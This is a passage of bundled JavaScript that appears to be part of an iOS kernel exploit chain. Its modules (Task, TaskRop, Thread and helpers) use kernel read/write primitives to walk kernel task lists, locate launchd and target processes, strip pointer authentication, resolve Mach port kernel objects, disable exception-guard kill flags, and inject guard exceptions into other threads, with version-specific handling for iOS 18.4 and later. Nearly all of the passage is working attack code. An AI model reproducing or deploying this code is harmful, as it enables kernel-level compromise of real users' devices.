Logger.#logfile);\n\t}\n\n\tstatic log(TAG, msg) {\n\t\t// Avoid recursive logging\n\t\tif (Logger.#logging)\n\t\t\treturn;\n\t\tLogger.#logging = true;\n\t\tconst logMsg = `[${TAG}] ${msg}`;\n\n\t\tLOG(logMsg);\n\n\t\tif (false) // removed by dead control flow\n{}\n\t\tLogger.#logging = false;\n\t}\n\n\tstatic clearPreviousLogs(){\n\t\t_Chain_Native__WEBPACK_IMPORTED_MODULE_1__[\"default\"].callSymbol(\"unlink\", Logger.#logfile);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/Utils.js\":\n/*!***********************************!*\\\n !*** ./src/libs/JSUtils/Utils.js ***!\n \\***********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Utils)\n/* harmony export */ });\n\n\nconst TAG = \"UTILS\";\n\nconst DT = {\n\tDT_UNKNOWN: 0,\n\tDT_FIFO: 1,\n\tDT_CHR: 2,\n\tDT_DIR: 4,\n\tDT_BLK: 6,\n\tDT_REG: 8,\n\tDT_LNK: 10,\n\tDT_SOCK: 12,\n\tDT_WHT: 14\n};\n\nclass Utils {\n\n\tstatic UINT64_SIZE = 8;\n\tstatic UINT32_SIZE = 4;\n\tstatic UINT16_SIZE = 2;\n\tstatic ARM_THREAD_STATE64 = 6;\n\tstatic ARM_THREAD_STATE64_SIZE = 0x110;\n\tstatic ARM_THREAD_STATE64_COUNT = (this.ARM_THREAD_STATE64_SIZE / this.UINT32_SIZE);\n\tstatic ptrauth_key_asia = 0;\n\tstatic EXC_BAD_ACCESS = 1n;\n\tstatic EXC_GUARD = 12n;\n\tstatic EXC_MASK_GUARD = (1n << this.EXC_GUARD);\n\tstatic EXC_MASK_BAD_ACCESS = (1n << this.EXC_BAD_ACCESS);\n\tstatic EXCEPTION_STATE = 2n;\n\tstatic MACH_EXCEPTION_CODES = 0x80000000n;\n\tstatic PAGE_SIZE = 0x4000n;\n\tstatic PAGE_MASK = (this.PAGE_SIZE - 1n);\n\n\tstatic hex(val) {\n\t\treturn val.toString(16);\n\t}\n\n\tstatic memmem(haystack, needle) {\n\t\tconst hLen = haystack.byteLength;\n\t\tconst nLen = needle.byteLength;\n\n\t\tif (nLen === 0 || hLen < nLen) {\n\t\t return 0;\n\t\t}\n\n\t\tconst haystackView = new Uint8Array(haystack);\n\t\tconst needleView = new Uint8Array(needle);\n\n\t\tfor (let i = 0; i <= hLen - nLen; i++) {\n\t\t let found = true;\n\t\t for (let j = 0; j < nLen; j++) {\n\t\t\tif (haystackView[i + j] !== needleView[j]) {\n\t\t\t found = false;\n\t\t\t break;\n\t\t\t}\n\t\t }\n\t\t if (found) {\n\t\t\treturn i;\n\t\t }\n\t\t}\n\n\t\treturn 0;\n\t}\n\n\tstatic ptrauth_string_discriminator(discriminator)\n\t{\n\t\tswitch (discriminator) {\n\t\t\tcase \"pc\":\n\t\t\t\treturn 0x7481n;\n\t\t\tcase \"lr\":\n\t\t\t\treturn 0x77d3n;\n\t\t\tcase \"sp\":\n\t\t\t\treturn 0xcbedn;\n\t\t\tcase \"fp\":\n\t\t\t\treturn 0x4517n;\n\t\t\tdefault:\n\t\t\t\tconsole.log(TAG,`Cannot find discriminator for value:${discriminator}`);\n\t\t\t\treturn 0n;\n\t\t}\n\t}\n\n\tstatic ptrauth_string_discriminator_special(discriminator)\n\t{\n\t\tswitch (discriminator) {\n\t\t\tcase \"pc\":\n\t\t\t\treturn 0x7481000000000000n;\n\t\t\tcase \"lr\":\n\t\t\t\treturn 0x77d3000000000000n;\n\t\t\tcase \"sp\":\n\t\t\t\treturn 0xcbed000000000000n;\n\t\t\tcase \"fp\":\n\t\t\t\treturn 0x4517000000000000n;\n\t\t\tdefault:\n\t\t\t\tconsole.log(TAG,`Cannot find discriminator for value:${discriminator}`);\n\t\t\t\treturn 0n;\n\t\t}\n\t}\n\n\tstatic ptrauth_blend_discriminator(diver,discriminator)\n\t{\n\t\treturn diver & 0xFFFFFFFFFFFFn | discriminator;\n\t}\n\n static printArrayBufferInChunks(buffer) {\n const view = new DataView(buffer);\n const chunkSize = 8;\n\n for (let i = 0; i < buffer.byteLength; i += chunkSize) {\n\t\t\t// Read the chunk as a BigInt\n\t\t\tconst chunk = view.getBigUint64(i, true); // Little-endian\n\n console.log(TAG, `0x${Utils.hex(i)}: ${Utils.hex(chunk)}`);\n }\n }\n\n\tstatic MIN(a, b)\n\t{\n\t\tif(a < b)\n\t\t\treturn a;\n\t\treturn b;\n\t}\n\n\tstatic MAX(a, b)\n\t{\n\t\tif(a > b)\n\t\t\treturn a;\n\t\treturn b;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/RegistersStruct.js\":\n/*!*********************************************!*\\\n !*** ./src/libs/TaskRop/RegistersStruct.js ***!\n \\*********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ RegistersStruct)\n/* harmony export */ });\nconst TAG = \"REGISTERSSTRUCT\"\n\nclass RegistersStruct\n{\n\t#dataView;\n\n\tconstructor(buffer, offset = 0, length = 29) {\n\t\tthis.#dataView = new DataView(buffer,offset, length * 8);\n\t\tthis.length = length;\n\t}\n \n\tget(index) {\n if (index >= this.length || index < 0) {\n console.log(TAG,`Got wrong index in get:${index}`);\n\t\t\treturn;\n }\n return this.#dataView.getBigUint64(index * 8, true); // true for little-endian\n }\n\n set(index, value) {\n if (index >= this.length || index < 0) {\n console.log(TAG,`Got wrong index in set`);\n\t\t\treturn;\n }\n this.#dataView.setBigUint64(index * 8, BigInt(value), true); // true for little-endian\n }\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/SelfTaskStruct.js\":\n/*!********************************************!*\\\n !*** ./src/libs/TaskRop/SelfTaskStruct.js ***!\n \\********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ SelfTaskStruct)\n/* harmony export */ });\nclass SelfTaskStruct \n{\n\t#buffer;\n\t#dataView;\n\tconstructor()\n\t{\n\t\tthis.#buffer = new ArrayBuffer(32);\n\t\tthis.#dataView = new DataView(this.#buffer);\n\t\tthis.addr = 0x0n;\n\t\tthis.spaceTable = 0x0n;\n\t\tthis.portObject = 0x0n;\n\t\tthis.launchdTask = 0x0n;\n\t}\n\tget addr()\n\t{\n\t\treturn this.#dataView.getBigUint64(0,true);\n\t}\n\tset addr(value)\n\t{\n\t\tthis.#dataView.setBigUint64(0,value,true);\n\t}\n\tget spaceTable()\n\t{\n\t\treturn this.#dataView.getBigUint64(8,true);\n\t}\n\tset spaceTable(value)\n\t{\n\t\tthis.#dataView.setBigUint64(8,value,true);\n\t}\n\tget portObject()\n\t{\n\t\treturn this.#dataView.getBigUint64(16,true);\n\t}\n\tset portObject(value)\n\t{\n\t\tthis.#dataView.setBigUint64(16,value,true);\n\t}\n\tget launchdTask()\n\t{\n\t\treturn this.#dataView.getBigUint64(24,true);\n\t}\n\tset launchdTask(value)\n\t{\n\t\tthis.#dataView.setBigUint64(24,value,true);\n\t}\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/Task.js\":\n/*!**********************************!*\\\n !*** ./src/libs/TaskRop/Task.js ***!\n \\**********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Task)\n/* harmony export */ });\n/* harmony import */ var _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./SelfTaskStruct */ \"./src/libs/TaskRop/SelfTaskStruct.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\n\n\nconst TAG = \"TASK\"\nconst TASK_EXC_GUARD_MP_CORPSE = 0x40;\nconst TASK_EXC_GUARD_MP_FATAL = 0x80;\nconst TASK_EXC_GUARD_MP_DELIVER = 0x10;\n\nclass Task\n{\n\tstatic gSelfTask;\n\tstatic KALLOC_ARRAY_TYPE_SHIFT;\n\n\tstatic {\n\t\tthis.gSelfTask = new _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"]();\n\t}\n\n\tstatic init(selfTaskAddr)\n\t{\n\t\t// Update KALLOC_ARRAY_TYPE_SHIFT\n\t\tthis.KALLOC_ARRAY_TYPE_SHIFT = BigInt((64n - libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().T1SZ_BOOT - 1n));\n\n\t\t/*\n\t\t * This function should be invoked as the initializer of the this Task utility.\n\t\t * It setups the global var \"gSelfTask\" containing values used all across the task functions to lookup ports.\n\t\t * It also retrieves the \"launchd\" task address.\n\t\t */\n\t\tthis.gSelfTask.addr = selfTaskAddr;\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\tthis.gSelfTask.portObject = this.#getPortObject(spaceTable, 0x203n);\n\t\tthis.gSelfTask.launchdTask = this.#searchForLaunchdTask();\n\n\t\tconsole.log(TAG,`Self task address: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.addr)}`);\n\t\tconsole.log(TAG,`Self task space table: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(spaceTable)}`);\n\t\tconsole.log(TAG,`Self task port object: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.portObject)}`);\n\t\tconsole.log(TAG,`launchd task: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.launchdTask)}`);\n\t}\n\n\tstatic trunc_page(addr)\n\t{\n\t\treturn addr & (~(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_SIZE - 1n));\n\t}\n\n\tstatic round_page(addr)\n\t{\n\t\treturn this.trunc_page((addr) + (libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_SIZE - 1n));\n\t}\n\n\tstatic pidof(name)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pComm, command, 18);\n\t\t\tlet resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].readString(command,18);\n\t\t\tif(name === resultName)\n\t\t\t{\n\t\t\t\tlet pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\t\treturn pid;\n\t\t\t}\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || nextTask == currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn 0;\n\t}\n\n\tstatic getTaskAddrByPID(pid)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\tif (currPid == pid)\n\t\t\t\treturn currTask;\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || (nextTask == currTask))\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn 0;\n\t}\n\n\tstatic disableExcGuardKill(taskAddr)\n\t{\n\t\t// in mach_port_guard_ast, the victim would crash if these are on.\n\t\tlet excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().excGuard);\n\t\t//console.log(TAG,`Current excGuard:0x${Utils.hex(excGuard)}`);\n\t\texcGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL);\n\t\texcGuard |= TASK_EXC_GUARD_MP_DELIVER;\n\t\t//console.log(TAG,`ExcGuard result:0x${Utils.hex(excGuard)}`);\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().excGuard, excGuard);\n\t}\n\n\tstatic getTaskAddrByName(name)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pComm, command, 18);\n\t\t\tlet resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].readString(command,18);\n\t\t\t//console.log(TAG, `${Utils.hex(procAddr)}: ${resultName}`);\n\t\t\tif(name === resultName)\n\t\t\t{\n\t\t\t\t//console.log(TAG, `Found target process: ${name}`);\n\t\t\t\treturn currTask;\n\t\t\t}\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || nextTask == currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn false;\n\t}\n\n\tstatic getRightAddr(port)\n\t{\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\treturn this.#getPortEntry(spaceTable, port);\n\t}\n\n\tstatic #getSpaceTable(taskAddr)\n\t{\n\t\tlet space = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().ipcSpace);\n\t\tlet spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(space + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().spaceTable);\n\t\t//console.log(TAG,`space: ${Utils.hex(space)}`);\n\t\t//console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`);\n\t\tspaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(spaceTable);\n\t\t//console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`);\n\t\treturn this.#kallocArrayDecodeAddr(BigInt(spaceTable));\n\t}\n\n\tstatic #mach_port_index(port)\n\t{\n\t\treturn ((port) >> 8n);\n\t}\n\n\tstatic #getPortEntry(spaceTable, port)\n\t{\n\t\tlet portIndex = this.#mach_port_index(port);\n\t\treturn spaceTable + (portIndex * 0x18n);\n\t}\n\n\tstatic #getPortObject(spaceTable, port)\n\t{\n\t\t//console.log(TAG, `getPortObject(): space=${Utils.hex(spaceTable)}, port=${Utils.hex(port)}`);\n\t\tlet portEntry = this.#getPortEntry(spaceTable, port);\n\t\t//console.log(TAG,`portEntry: ${Utils.hex(portEntry)}`);\n\t\tlet portObject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(portEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().entryObject);\n\t\t//console.log(TAG,`portObject:${Utils.hex(portObject)}`);\n\t\treturn libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(portObject);\n\t}\n\n\tstatic getTaskProc(taskAddr)\n\t{\n\t\tlet procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().procRO);\n\t\tlet procAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(procROAddr);\n\t\treturn procAddr;\n\t}\n\n\tstatic #searchForLaunchdTask()\n\t{\n\t\t/*\n\t\t * Traverse the tasks list backwards starting from the self task until we find the proc with PID 1.\n\t\t */\n\n\t\tlet currTask = this.gSelfTask.addr;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\tif (currPid == 1)\n\t\t\t\treturn currTask;\n\t\t\tlet prevTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().prevTask);\n\t\t\tif (!prevTask || prevTask === currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = prevTask;\n\t\t}\n\t\treturn 0n;\n\t}\n\n\tstatic #kallocArrayDecodeAddr(ptr)\n\t{\n\t\tlet zone_mask = BigInt(1) << BigInt(this.KALLOC_ARRAY_TYPE_SHIFT);\n\t\tif (ptr & zone_mask)\n\t\t{\n\t\t\tptr &= ~0x1fn;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tptr &= ~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_MASK;\n\t\t\t//console.log(TAG,`ptr:${Utils.hex(ptr)}`);\n\t\t\tptr |= zone_mask;\n\t\t\t//console.log(TAG,`ptr2:${Utils.hex(ptr)}`);\n\t\t}\n\t\treturn ptr;\n\t}\n\n\tstatic getPortAddr(port)\n\t{\n\t\tif (!port)\n\t\t\treturn 0;\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\treturn this.#getPortObject(spaceTable, port);\n\t}\n\n\tstatic getPortKObject(port)\n\t{\n\t\tlet portObject = this.getPortAddr(port);\n\t\treturn this.#getPortKObjectByAddr(portObject);\n\t}\n\n\tstatic #getPortKObjectByAddr(portObject)\n\t{\n\t\tif (!portObject)\n\t\t\treturn 0;\n\t\tlet kobject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(portObject + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().objectKObject);\n\t\treturn libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(kobject);\n\t}\n\n\tstatic firstThread(taskAddr)\n\t{\n\t\tlet first = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().threads);\n\t\treturn first;\n\t}\n\n\tstatic getMap(taskAddr)\n\t{\n\t\tlet vmMap = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().mapTask);\n\t\treturn vmMap;\n\t}\n\n\tstatic getPortKObjectOfTask(taskAddr,port)\n\t{\n\t\tlet portObject = this.getPortAddrOfTask(taskAddr, port);\n\t\treturn this.#getPortKObjectByAddr(portObject);\n\t}\n\n\tstatic getPortAddrOfTask(taskAddr, port)\n\t{\n\t\tlet spaceTable = this.#getSpaceTable(taskAddr);\n\t\treturn this.#getPortObject(spaceTable, port);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/TaskRop.js\":\n/*!*************************************!*\\\n !*** ./src/libs/TaskRop/TaskRop.js ***!\n \\*************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ TaskRop)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ \"./src/libs/TaskRop/Task.js\");\n\n\n\n\nconst TAG = \"TASKROP\"\n\nclass TaskRop\n{\n\tstatic init()\n\t{\n\t\tlet selfTaskAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].getSelfTaskAddr();\n\t\tif (!selfTaskAddr)\n\t\t{\n\t\t\tconsole.log(TAG,`Unable to find self task address`);\n\t\t\treturn;\n\t\t}\t\n\t\tconsole.log(TAG,`selfTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(selfTaskAddr)}`);\n\t\t_Task__WEBPACK_IMPORTED_MODULE_2__[\"default\"].init(selfTaskAddr);\n\t}\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/Thread.js\":\n/*!************************************!*\\\n !*** ./src/libs/TaskRop/Thread.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Thread)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ThreadState */ \"./src/libs/TaskRop/ThreadState.js\");\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\n\n\nconst AST_GUARD = 0x1000;\nconst TAG = \"THREAD\";\n\nclass Thread\n{\n\tstatic getTro(thread)\n\t{\n\t\tlet tro = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().tro);\n\t\t// Ignore threads with invalid tro address.\n\t\tif (!(tro & 0xf000000000000000n))\n\t\t{\n\t\t\t//console.log(TAG,`Got invalid tro of thread:${Utils.hex(thread)} and value:${Utils.hex(tro)}`);\n\t\t\treturn 0n;\n\t\t}\n\t\treturn tro;\n\t}\n\tstatic getCtid(thread)\n\t{\n\t\tlet ctid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ctid);\n\t\treturn ctid;\n\t}\n\tstatic getTask(thread)\n\t{\n\t\tlet tro = this.getTro(thread);\n\t\t// Ignore threads with invalid tro address.\n\t\tif (!(tro & 0xf000000000000000n) || tro === 0n)\n\t\t\treturn 0n;\n\t\tlet task = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(tro + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().troTask);\n\t\treturn task;\n\t}\n\tstatic next(thread)\n\t{\n\t\tif (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].strip(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().taskThreads) < 0xffffffd000000000n)\n\t\t\treturn 0;\n\t\tlet next = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().taskThreads);\n\t\tif (next < 0xffffffd000000000n)\n\t\t\treturn 0;\n\t\treturn next;\n\t}\n\tstatic setMutex(thread,ctid)\n\t{\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().mutexData, ctid);\n\t}\n\tstatic getMutex(thread)\n\t{\n\t\tlet mutex = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().mutexData);\n\t\treturn mutex;\n\t}\n\tstatic getStack(thread)\n\t{\n\t\tlet stackptr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().kstackptr);\n\t\treturn stackptr;\n\t}\n\tstatic injectGuardException(thread,code)\n\t{\n\t\tif(!this.getTro(thread))\n\t\t{\n\t\t\tconsole.log(TAG,`got invalid tro of thread, not injecting exception since thread is dead`);\n\t\t\treturn false;\n\t\t}\n\n\t\t// 18.4+\n\t\tif (xnuVersion.major == 24 && xnuVersion.minor >= 4) {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0x17n);\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode + 0x8n, code);\n\t\t}\n\t\telse {\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, code);\n\t\t}\n\n\t\tlet ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast);\n\t\tast |= AST_GUARD;\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast, ast);\n\t\treturn true;\n\t}\n\tstatic clearGuardException(thread)\n\t{\n\t\tif(!this.getTro(thread))\n\t\t{\n\t\t\tconsole.log(TAG,`got invalid tro of thread, still clearing exception to avoid crash`);\n\t\t}\n\t\tlet ast = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast);\n\t\tast &= ~AST_GUARD | 0x80000000;\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().ast, ast);\n\n\t\t// 18.4+\n\t\tif (xnuVersion.major == 24 && xnuVersion.minor >= 4) {\n\t\t\tif (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode) == 0x17n) {\n\t\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode, 0n);\n\t\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__[\"default\"].offsets().guardExcCode + 0x8n, 0n);\n\t\t\t}\n\t\t}\n\t\telse 